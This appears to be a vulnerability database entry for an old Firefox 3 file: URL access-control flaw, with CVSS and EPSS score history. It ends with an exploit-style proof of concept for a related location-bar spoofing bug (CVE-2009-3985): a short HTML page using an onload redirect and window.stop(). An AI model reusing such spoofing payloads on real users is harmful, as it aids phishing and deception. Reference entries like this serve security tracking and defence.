CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Mozilla Firefox 3 before 3.0.11 associates an incorrect principal with a file: URL loaded through the location bar, which allows user-assisted remote attackers to bypass intended access restrictions and read files via a crafted HTML document, aka a "file-URL-to-file-URL scripting" attack.
Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5.4
AV:N/AC:H/Au:N/C:C/I:N/A:N
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
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12.57%
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2022-04-03
–
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12.57%
–
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2023-02-26
–
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12.57%
–
–
2023-03-12
–
–
–
0.83%
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2023-04-09
–
–
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0.83%
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2023-05-07
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–
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1.21%
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2023-08-27
–
–
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1.21%
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2024-01-21
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–
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1.7%
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2024-02-11
–
–
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1.7%
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2024-04-07
–
–
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1.7%
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2024-06-02
–
–
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1.7%
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2024-12-22
–
–
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6.21%
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2025-01-05
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–
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6.21%
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2025-01-19
–
–
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6.21%
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2025-03-18
–
–
–
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15.16%
2025-03-18
–
–
–
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15.16,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
# Exploit Title: MOZILLA FIREFOX LOCATION BAR SPOOFING VULNERABILITY
# Date: 2009-12-18
# Author: Jordi Chancel
# Software Link: http://www.mozilla.org/security/announce/2009/mfsa2009-69.html
# Version: Mozilla Firefox 3.0.15 & 3.5.5
# Tested on: Windows XP-VISTA-SEVEN & LINUX BACKTRACK
# CVE : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3985
# DESCRIPTION: {
# Security researcher Jordi Chancel reported an issue similar to one fixed in mfsa2009-44
# in which a web page can set document.location to a URL that can't be displayed properly and then inject
# content into the resulting blank page. An attacker could use this vulnerability to place a legitimate-looking
# but invalid URL in the location bar and inject HTML and JavaScript into the body of the
# page, resulting in a spoofing attack. }
# Code :
<html>
<title>FAKE PAGE</title>
<body onload="javascript:window.location = 'https://www.google.com%20';window.stop();void(0);">
<h1>FAKE PAGE</h1>
</body>
</html>